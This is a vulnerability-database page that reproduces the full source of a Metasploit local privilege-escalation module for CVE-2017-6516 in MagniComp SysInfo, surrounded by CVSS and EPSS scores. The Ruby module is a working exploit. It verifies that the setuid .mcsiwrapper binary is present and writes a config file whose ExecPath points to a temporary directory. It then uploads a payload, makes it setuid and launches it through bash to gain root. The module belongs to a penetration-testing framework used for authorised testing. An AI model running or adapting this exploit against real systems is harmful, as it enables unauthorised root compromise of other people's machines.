Lucene search

K
metasploitDaniel Lawson, Romain Trouve, bcoles <[email protected]>MSF:EXPLOIT-MULTI-LOCAL-MAGNICOMP_SYSINFO_MCSIWRAPPER_PRIV_ESC-
HistoryFeb 05, 2018 - 1:47 p.m.

MagniComp SysInfo mcsiwrapper Privilege Escalation

2018-02-0513:47:09
Daniel Lawson, Romain Trouve, bcoles <[email protected]>
www.rapid7.com
37

7.2 High

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

6.7 Medium

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

33.0%

This module attempts to gain root privileges on systems running MagniComp SysInfo versions prior to 10-H64. The .mcsiwrapper suid executable allows loading a config file using the ‘–configfile’ argument. The ‘ExecPath’ config directive is used to set the executable load path. This module abuses this functionality to set the load path resulting in execution of arbitrary code as root. This module has been tested successfully with SysInfo version 10-H63 on Fedora 20 x86_64, 10-H32 on Fedora 27 x86_64, 10-H10 on Debian 8 x86_64, and 10-GA on Solaris 10u11 x86.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MagniComp SysInfo mcsiwrapper Privilege Escalation',
        'Description' => %q{
          This module attempts to gain root privileges on systems running
          MagniComp SysInfo versions prior to 10-H64.

          The .mcsiwrapper suid executable allows loading a config file using the
          '--configfile' argument. The 'ExecPath' config directive is used to set
          the executable load path. This module abuses this functionality to set
          the load path resulting in execution of arbitrary code as root.

          This module has been tested successfully with SysInfo version
          10-H63 on Fedora 20 x86_64, 10-H32 on Fedora 27 x86_64, 10-H10 on
          Debian 8 x86_64, and 10-GA on Solaris 10u11 x86.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniel Lawson', # Discovery and exploit
          'Romain Trouve', # Discovery and exploit
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2016-09-23',
        'Platform' => %w[linux solaris],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [
          [ 'Automatic', {} ],
          [ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_X86 } ],
          [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
        ],
        'References' => [
          [ 'CVE', '2017-6516' ],
          [ 'BID', '96934' ],
          [ 'URL', 'http://www.magnicomp.com/support/cve/CVE-2017-6516.shtml' ],
          [ 'URL', 'https://labs.mwrinfosecurity.com/advisories/magnicomps-sysinfo-root-setuid-local-privilege-escalation-vulnerability/' ],
          [ 'URL', 'https://labs.mwrinfosecurity.com/advisories/multiple-vulnerabilities-in-magnicomps-sysinfo-root-setuid/' ]
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options([
      OptString.new('SYSINFO_DIR', [ true, 'Path to SysInfo directory', '/opt/sysinfo' ]),
    ])
    register_advanced_options([
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ])
  end

  def sysinfo_dir
    datastore['SYSINFO_DIR']
  end

  def check
    return CheckCode::Safe("Directory '#{sysinfo_dir}' does not exist") unless directory?(sysinfo_dir)

    vprint_good "Directory '#{sysinfo_dir}' exists"

    mcsiwrapper_path = "#{sysinfo_dir}/bin/.mcsiwrapper"
    return CheckCode::Safe("#{mcsiwrapper_path} is not setuid") unless setuid?(mcsiwrapper_path)

    vprint_good("#{mcsiwrapper_path} is setuid")

    bash_path = cmd_exec('which bash')
    return CheckCode::Safe('bash is not installed. Exploitation will fail.') unless bash_path.start_with?('/') && bash_path.include?('bash')

    vprint_good('bash is installed')

    config_version = cmd_exec("grep ProdVersion= #{sysinfo_dir}/config/mcsysinfo.cfg")
    version = config_version.scan(/^ProdVersion=(\d+-H\d+|\d+-GA)$/).flatten.first
    return CheckCode::Detected('Could not determine the SysInfo version') if version.blank?
    return CheckCode::Safe("SysInfo version #{version} is not vulnerable") if Rex::Version.new(version.sub('-H', '.')) >= Rex::Version.new('10.64')

    CheckCode::Appears("SysInfo version #{version} is vulnerable")
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f(path)
    write_file(path, data)
    register_file_for_cleanup(path)
  end

  def exploit
    # Set target
    uname = cmd_exec('uname')
    vprint_status("Operating system is #{uname}")
    if target.name.eql? 'Automatic'
      case uname
      when /SunOS/i
        my_target = targets[1]
      when /Linux/i
        my_target = targets[2]
      else
        fail_with(Failure::NoTarget, 'Unable to automatically select a target')
      end
    else
      my_target = target
    end
    print_status("Using target: #{my_target.name}")

    # Check payload
    if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
       (my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
      fail_with(Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'")
    end

    # Create a working directory
    base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    mkdir(base_path)

    # Write config file
    config_path = "#{base_path}/#{rand_text_alphanumeric(5..10)}"
    upload(config_path, "ExecPath=#{base_path}")

    # Upload payload
    payload_name = rand_text_alphanumeric(5..10)
    payload_path = "#{base_path}/#{payload_name}"
    upload(payload_path, generate_payload_exe)
    cmd_exec("chmod u+sx '#{payload_path}'")

    print_status('Executing payload...')

    # Executing .mcsiwrapper directly errors:
    #   Command ".mcsiwrapper" cannot start with `.' or contain `/'.
    # Instead, we execute with bash to replace ARGV[0] with the payload file name
    output = cmd_exec("bash -c \"exec -a #{payload_name} #{sysinfo_dir}/bin/.mcsiwrapper --configfile #{config_path}&\"")
    output.each_line { |line| vprint_status line.chomp }
  end
end

7.2 High

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

6.7 Medium

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

33.0%

Related for MSF:EXPLOIT-MULTI-LOCAL-MAGNICOMP_SYSINFO_MCSIWRAPPER_PRIV_ESC-